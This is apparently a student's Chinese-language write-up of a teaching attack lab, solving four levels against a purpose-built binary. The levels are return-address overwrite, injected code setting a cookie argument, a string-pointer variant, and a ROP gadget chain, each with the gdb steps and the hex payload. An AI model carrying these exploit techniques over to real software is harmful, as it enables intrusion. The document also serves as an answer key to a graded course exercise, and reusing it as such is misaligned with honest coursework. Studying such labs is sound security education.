缓冲区溢出漏洞攻击实验
该实验的内容主要为利用一个缓冲区溢出漏洞,来修改一个二进制可执行文件的运行时行为,将栈中调用函数的返回地址修改成另一个函数的起始地址来执行自己的代码。
预备知识:
有如下函数:
1 | void echo() |
当调用者函数调用echo()时,栈中的内容如下:
地址 | 内容 |
---|---|
%rsp + 0x2c | caller函数的栈帧 |
%rsp + 0x24 | Return Address |
…… | |
%rsp + 0x08 | 未使用的栈区 |
buf = %rsp | [0][1][2][3][4][5][6][7] |
由于Gets()函数不检查输入字符串的长度,因此可以输入任意长度的字符串,最后覆盖%rsp + 0x24 处的返回地址,进而修改可执行文件的运行行为。如果Return Address的值为某个函数的起始地址,就可以执行自己的代码。
第一关
将Gets函数的返回地址从getbuf()函数改为touch1()函数。
执行Gets()时的内存地址:
地址 | 内容 |
---|---|
%rsp + 0x28 | getbuf |
%rsp + 0x20 | |
%rsp + 0x18 | |
%rsp + 0x10 | |
%rsp + 0x08 | |
%rsp + 0x00 |
要将%rsp + 0x28处的地址从getbuf改为touch1的地址。
现通过反汇编,通过汇编程序查看touch1的地址:
1 | objdum -d -x ./ctarget > ctarget.asm |
发现为0x00000000004017c0,因此写入的字符串可以是:
1 | 00 00 00 00 00 00 00 00 |
只用保证0x28偏移处的值依次为0xc0、0x17、0x40即可。
运行结果:
1 | ./hex2raw < ans1.txt | ./ctarget -q |
第二关
将Gets函数的返回地址从getbuf()函数改为touch2()函数,并且touch2()函数的参数为cookie值,保存在%rsp中。
这道题需要自己写一段代码,Gets()函数获取的字符串包含需要执行的代码。首先,执行Gets()时的内存地址:
地址 | 内容 |
---|---|
%rsp + 0x28 | getbuf |
%rsp + 0x20 | |
%rsp + 0x18 | |
%rsp + 0x10 | |
%rsp + 0x08 | |
%rsp + 0x00 |
我们希望将%rsp + 0x28处的getbuf地址改为%rsp,使用gdb查看此刻%rsp的值。getbuf函数如下:
1 | 00000000004017a8 <getbuf>: |
需要在0x4017b9设置断点:
1 | gdb ./ctarget |
因此%rsp的值为0x5561dc78,需要将getbuf地址改成这个值,防止返回getbuf()函数,然后从%rsp指向地址处的代码功能为:先将cookie的值0x59b997fa存入%rdi寄存器,然后跳转到touch2函数处,跳转可以用push $addr + retq两条指令实现,代码应写成:
1 | mov $0x59b997fa, %rdi |
栈帧中的内容:
栈帧 | 地址 |
---|---|
0x5561dc78 | 0x5561dca0 |
… | |
… | |
ret | |
pushq $0x4017ec | |
mov $0x59b997fa, %rdi | 0x5561dc78 |
将上述代码翻译成二进制代码:
1 | gcc -c ans2.s -o ans2.o |
因此答案为:
1 | 48 c7 c7 fa 97 b9 59 68 |
运行结果:
1 | ./hex2raw < ans2.txt | ./ctarget -q |
第三关
在第二题基础上,返回地址从getbuf()函数改为touch3()函数,并且touch3()函数调用的hexmatch()函数返回正确的值,写入的内容除了上一题的mov、push和ret三条指令外,还需要向内存写入字符串,进入hexmatch()函数前将%rdi的值指向字符串。
执行到touch3()函数时,栈帧如下:
1 | (gdb) p/x $rsp |
地址 | 内容 |
---|---|
0x..dca0 | touch3首地址 |
0x..dc98 | |
0x..dc90 | |
0x..dc88 | |
0x..dc80 | push & ret |
0x..dc78 | mov |
执行hexmatch时,栈帧如下所示:
1 | (gdb) p/x $rsp |
地址 | 内容 | 栈指针 |
---|---|---|
0x..dca0 | 0x…. | |
0x..dc98 | touch3返回地址 | <-%rsp |
0x..dc90 | ||
0x..dc88 | ||
0x..dc80 | push & ret | |
0x..dc78 | mov |
由于执行hexmatch函数时,栈区会管理临时变量,因此字符串的内容不能写在0x..dca0以下的地方,否则会被hexmatch函数的临时变量覆盖掉,因此,可以写在test()的栈帧里,也就是0x5561dca8处,因此第三题写入的内容可以是:
1 | 48 c7 c7 a8 dc 61 55 68 |
第四关
这一关是Return Oriented Programming (ROP)攻击,在ROP攻击中设置了栈随机化,所以不能像前面三个实验一样在确定的地址处插入代码。为了实现攻击,我们要在已经给定的代码中找到特定的指令序列,这些序列以ret结尾,我们把这些命令叫做gadget。
每一段gadget包含一系列指令字节,而且以ret结尾,跳转到下一个gadget,就这样连续的执行一系列的指令代码,对程序造成攻击。譬如给的示例:
1 | void setval_210(unsigned *p) |
反汇编后得到它的指令字节编码:
1 | 0000000000400f15 <setval_210>: |
这样我们就可以利用已经存在的程序,从中间提取出特殊的指令,得到一个gadget,每一段gadget包含一系列指令字节,而且以ret结尾,跳转到下一个gadget,就这样连续的执行一系列的指令代码。
为了让函数跳转到touch2()并且%rdi的值为cookie值,并且题目说需要使用到popq指令以及两个gadgets,因此推测这两个gadgets可能将栈里面写入的cookie值弹出到寄存器里面,再通过retq指令弹出栈里面的下一个gadget的地址,然后跳转到下一个gadget执行寄存器传送操作,再执行retq指令将栈里面的touch2()地址弹出,跳转到touch2()函数处执行。
题目说了gadget的范围在start_farm和mid_farm之间,观察他们之间的farm,可以看到下面两个gadget可以构成如上的功能:
1 | 00000000004019a0 <addval_273>: |
先执行第二个gadget,再跳转到第一个gadget执行,然后执行touch2()函数。因此执行Gets()函数时,栈帧中的内容如下所示:
栈帧内容 |
---|
touch2: 0x4017ex |
第1个gadget地址: 0x4019a2 |
cookie: 0x59b997fa |
第2个gadget地址: 0x4019ab |
… |
… |
… |
… |
输入字符串的起始地址 |
答案为:
1 | 00 00 00 00 00 00 00 00 |